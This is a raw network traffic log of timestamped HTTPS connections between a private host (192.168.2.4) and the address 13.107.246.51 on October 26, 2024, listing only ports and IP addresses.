Oct 26, 2024 13:45:45.082201004 CEST	443	49929	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.086010933 CEST	49934	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.086122036 CEST	443	49934	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.086215019 CEST	49934	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.086397886 CEST	49934	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.086426973 CEST	443	49934	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.143379927 CEST	443	49930	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.143454075 CEST	443	49930	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.143517017 CEST	49930	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.143704891 CEST	49930	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.143718958 CEST	443	49930	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.143734932 CEST	49930	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.143742085 CEST	443	49930	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.146676064 CEST	49935	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.146714926 CEST	443	49935	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.146780968 CEST	49935	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.147391081 CEST	49935	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.147408962 CEST	443	49935	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.161128044 CEST	443	49931	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.161600113 CEST	49931	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.161670923 CEST	443	49931	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.162082911 CEST	49931	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.162100077 CEST	443	49931	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.398639917 CEST	443	49932	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.399523020 CEST	49932	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.399555922 CEST	443	49932	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.400067091 CEST	49932	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.400074005 CEST	443	49932	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.448802948 CEST	443	49933	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.449366093 CEST	49933	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.449402094 CEST	443	49933	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.449949026 CEST	49933	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.449958086 CEST	443	49933	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.532891035 CEST	443	49932	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.532921076 CEST	443	49932	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.532983065 CEST	443	49932	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.532998085 CEST	49932	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.533035994 CEST	49932	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.533328056 CEST	49932	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.533348083 CEST	443	49932	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.533381939 CEST	49932	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.533387899 CEST	443	49932	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.536237001 CEST	49937	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.536274910 CEST	443	49937	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.536353111 CEST	49937	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.536499023 CEST	49937	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.536514044 CEST	443	49937	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.578984976 CEST	443	49933	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.579056025 CEST	443	49933	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.579144955 CEST	49933	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.579180956 CEST	443	49933	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.579206944 CEST	443	49933	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.579257011 CEST	49933	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.597162962 CEST	49933	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.597184896 CEST	443	49933	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.597198009 CEST	49933	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.597204924 CEST	443	49933	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.600419998 CEST	49938	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.600493908 CEST	443	49938	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.600585938 CEST	49938	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.601293087 CEST	49938	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.601327896 CEST	443	49938	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.847160101 CEST	443	49934	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.894140005 CEST	443	49935	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.896377087 CEST	49934	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.896408081 CEST	443	49934	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.913837910 CEST	49934	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.913857937 CEST	443	49934	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.914772987 CEST	49935	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.914804935 CEST	443	49935	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:45.933345079 CEST	49935	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:45.933355093 CEST	443	49935	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.171762943 CEST	443	49934	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.171824932 CEST	443	49934	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.171926022 CEST	49934	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.172221899 CEST	49934	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.172240019 CEST	443	49934	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.172249079 CEST	49934	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.172255993 CEST	443	49934	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.172908068 CEST	443	49935	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.172982931 CEST	443	49935	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.173038960 CEST	49935	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.173074961 CEST	443	49935	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.173105001 CEST	443	49935	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.173154116 CEST	49935	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.173211098 CEST	49935	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.173226118 CEST	443	49935	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.173237085 CEST	49935	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.173243046 CEST	443	49935	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.175832033 CEST	49939	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.175869942 CEST	443	49939	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.176017046 CEST	49940	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.176018000 CEST	49939	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.176038980 CEST	443	49940	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.176094055 CEST	49940	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.176141977 CEST	49939	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.176167965 CEST	443	49939	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.176233053 CEST	49940	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.176246881 CEST	443	49940	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.305771112 CEST	443	49937	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.306459904 CEST	49937	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.306478024 CEST	443	49937	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.306983948 CEST	49937	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.306991100 CEST	443	49937	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.351931095 CEST	443	49938	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.353054047 CEST	49938	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.353085995 CEST	443	49938	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.353506088 CEST	49938	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.353513002 CEST	443	49938	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.438443899 CEST	443	49937	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.438529015 CEST	443	49937	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.438719034 CEST	49937	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.439071894 CEST	49937	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.439094067 CEST	443	49937	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.439110041 CEST	49937	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.439116955 CEST	443	49937	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.443360090 CEST	49941	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.443406105 CEST	443	49941	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.443516970 CEST	49941	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.443752050 CEST	49941	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.443768024 CEST	443	49941	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.485563040 CEST	443	49938	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.485605001 CEST	443	49938	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.485656977 CEST	443	49938	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.485770941 CEST	49938	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.485826969 CEST	49938	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.486192942 CEST	49938	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.486234903 CEST	443	49938	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.486272097 CEST	49938	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.486287117 CEST	443	49938	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.490243912 CEST	49942	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.490293980 CEST	443	49942	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.490408897 CEST	49942	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.490642071 CEST	49942	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.490657091 CEST	443	49942	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.804867983 CEST	443	49931	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.804897070 CEST	443	49931	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.804977894 CEST	443	49931	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.804997921 CEST	49931	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.805066109 CEST	49931	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.805459023 CEST	49931	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.805490017 CEST	443	49931	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.805506945 CEST	49931	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.805515051 CEST	443	49931	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.810683966 CEST	49943	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.810733080 CEST	443	49943	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:46.810817957 CEST	49943	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.811048985 CEST	49943	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:46.811074018 CEST	443	49943	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.115304947 CEST	443	49939	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.115886927 CEST	443	49940	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.116360903 CEST	49939	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.116373062 CEST	443	49939	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.116463900 CEST	49940	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.116486073 CEST	443	49940	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.116820097 CEST	49939	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.116826057 CEST	443	49939	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.117100000 CEST	49940	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.117105961 CEST	443	49940	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.250318050 CEST	443	49941	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.251024961 CEST	49941	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.251060009 CEST	443	49941	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.251650095 CEST	49941	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.251656055 CEST	443	49941	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.253202915 CEST	443	49940	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.253216982 CEST	443	49942	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.253766060 CEST	443	49940	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.253834963 CEST	49940	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.253866911 CEST	443	49940	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.253895998 CEST	443	49940	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.253957033 CEST	49940	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.254100084 CEST	49942	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.254120111 CEST	443	49942	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.255028963 CEST	49942	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.255036116 CEST	443	49942	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.255309105 CEST	49940	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.255331039 CEST	443	49940	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.255347013 CEST	49940	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.255353928 CEST	443	49940	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.266722918 CEST	49944	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.266755104 CEST	443	49944	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.266841888 CEST	49944	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.267590046 CEST	49944	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.267606974 CEST	443	49944	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.290534019 CEST	443	49939	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.290607929 CEST	443	49939	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.290679932 CEST	49939	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.294061899 CEST	49939	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.294100046 CEST	443	49939	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.294117928 CEST	49939	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.294126034 CEST	443	49939	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.312892914 CEST	49945	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.312946081 CEST	443	49945	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.313021898 CEST	49945	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.313466072 CEST	49945	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.313486099 CEST	443	49945	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.378056049 CEST	443	49941	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.378133059 CEST	443	49941	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.378201008 CEST	49941	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.378654957 CEST	49941	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.378674030 CEST	443	49941	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.378690004 CEST	49941	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.378701925 CEST	443	49941	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.383888006 CEST	49946	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.383944035 CEST	443	49946	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.384028912 CEST	49946	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.384582996 CEST	49946	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.384601116 CEST	443	49946	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.386359930 CEST	443	49942	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.386387110 CEST	443	49942	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.386435032 CEST	443	49942	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.386461020 CEST	49942	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.386492968 CEST	49942	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.386641979 CEST	49942	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.386663914 CEST	443	49942	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.386679888 CEST	49942	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.386687040 CEST	443	49942	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.390758038 CEST	49947	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.390793085 CEST	443	49947	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.390861034 CEST	49947	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.392277956 CEST	49947	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.392291069 CEST	443	49947	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.547538042 CEST	443	49943	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.548407078 CEST	49943	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.548451900 CEST	443	49943	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.548990965 CEST	49943	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.549000025 CEST	443	49943	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.676065922 CEST	443	49943	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.676168919 CEST	443	49943	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.676248074 CEST	49943	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.676688910 CEST	49943	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.676690102 CEST	49943	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.676714897 CEST	443	49943	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.676728010 CEST	443	49943	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.681162119 CEST	49948	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.681215048 CEST	443	49948	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:47.681350946 CEST	49948	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.681561947 CEST	49948	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:47.681579113 CEST	443	49948	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.015165091 CEST	443	49944	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.015836954 CEST	49944	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.015863895 CEST	443	49944	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.016496897 CEST	49944	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.016514063 CEST	443	49944	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.066905022 CEST	443	49945	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.067805052 CEST	49945	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.067821980 CEST	443	49945	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.068394899 CEST	49945	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.068401098 CEST	443	49945	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.110681057 CEST	443	49947	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.111458063 CEST	49947	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.111485004 CEST	443	49947	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.112015963 CEST	49947	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.112025023 CEST	443	49947	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.135396957 CEST	443	49946	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.136467934 CEST	49946	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.136493921 CEST	443	49946	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.137332916 CEST	49946	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.137339115 CEST	443	49946	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.148370028 CEST	443	49944	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.148456097 CEST	443	49944	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.148530006 CEST	49944	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.148850918 CEST	49944	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.148870945 CEST	443	49944	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.148886919 CEST	49944	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.148894072 CEST	443	49944	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.153711081 CEST	49949	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.153757095 CEST	443	49949	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.153865099 CEST	49949	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.154392004 CEST	49949	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.154405117 CEST	443	49949	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.199537992 CEST	443	49945	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.199585915 CEST	443	49945	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.199655056 CEST	443	49945	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.199755907 CEST	49945	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.200046062 CEST	49945	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.200066090 CEST	443	49945	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.200078011 CEST	49945	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.200083017 CEST	443	49945	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.204922915 CEST	49950	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.204968929 CEST	443	49950	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.205090046 CEST	49950	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.205343962 CEST	49950	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.205358028 CEST	443	49950	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.246490955 CEST	443	49947	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.247160912 CEST	443	49947	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.247363091 CEST	49947	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.247363091 CEST	49947	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.249083996 CEST	49947	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.249099970 CEST	443	49947	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.253684044 CEST	49951	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.253742933 CEST	443	49951	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.253845930 CEST	49951	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.254159927 CEST	49951	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.254173040 CEST	443	49951	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.268855095 CEST	443	49946	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.268920898 CEST	443	49946	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.269022942 CEST	49946	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.269448996 CEST	49946	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.269448996 CEST	49946	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.269462109 CEST	443	49946	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.269473076 CEST	443	49946	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.275331020 CEST	49952	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.275372982 CEST	443	49952	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.275475025 CEST	49952	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.275803089 CEST	49952	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.275818110 CEST	443	49952	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.404236078 CEST	443	49948	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.404999018 CEST	49948	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.405030966 CEST	443	49948	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.405697107 CEST	49948	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.405705929 CEST	443	49948	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.532210112 CEST	443	49948	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.532244921 CEST	443	49948	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.532285929 CEST	49948	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.532294989 CEST	443	49948	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.532310963 CEST	443	49948	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.532454014 CEST	49948	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.532560110 CEST	49948	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.532572031 CEST	443	49948	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.532581091 CEST	49948	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.532586098 CEST	443	49948	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.535763979 CEST	49953	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.535790920 CEST	443	49953	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.535860062 CEST	49953	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.536000013 CEST	49953	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.536014080 CEST	443	49953	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.902812004 CEST	443	49949	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.903382063 CEST	49949	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.903398991 CEST	443	49949	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.903899908 CEST	49949	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.903904915 CEST	443	49949	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.924936056 CEST	443	49950	13.107.246.51	192.168.2.4
